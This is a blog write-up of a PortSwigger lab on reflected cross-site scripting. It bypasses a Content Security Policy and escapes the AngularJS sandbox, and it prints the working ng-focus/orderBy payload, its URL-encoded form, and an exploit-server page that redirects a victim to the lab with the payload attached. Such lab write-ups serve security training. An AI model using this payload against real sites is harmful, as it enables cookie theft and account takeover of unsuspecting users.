siunam's Website

My personal website

Home Writeups Blog Projects About E-Portfolio

Reflected XSS with AngularJS sandbox escape and CSP | Jan 1, 2023

Introduction

Welcome to my another writeup! In this Portswigger Labs lab, you’ll learn: Reflected XSS with AngularJS sandbox escape and CSP! Without further ado, let’s dive in.

Background

This lab uses CSP and AngularJS.

To solve the lab, perform a cross-site scripting attack that bypasses CSP, escapes the AngularJS sandbox, and alerts document.cookie.

Exploitation

Home page:

In here, we can see there is a search box.

Let’s search something:

As you can see, our input is reflected to the web page.

Burp Suite HTTP history:

In here, we also can see the CSP (Content Security Policy) is enabled.

Content-Security-Policy: default-src 'self'; script-src 'self'

In this case, it’ll only allow scripts to be loaded from the same origin as the page itself.

Now, let’s try to inject some HTML tags:

<input autofocus>

Yep we can.

Next, we need to bypass the AngularJS sandbox and CSP:

<input id=x ng-focus=$event.path|orderBy:'(z=alert)(document.cookie)'>#x
%3Cinput%20id=x%20ng-focus=$event.path|orderBy:%27(z=alert)(document.cookie)%27%3E#x

Now, we can go the exploit server, host our payload and deliver to victim:

<html>
    <head>
        <title>XSS-28</title>
    </head>
    <body>
        <script>
            window.location.replace("https://0a6b004b04d03a63c09d548600500044.web-security-academy.net/?search=%3Cinput%20id=x%20ng-focus=$event.path|orderBy:%27(z=alert)(document.cookie)%27%3E#x");
        </script>
    </body>
</html>

Nice!

What we’ve learned:

  1. Reflected XSS with AngularJS sandbox escape and CSP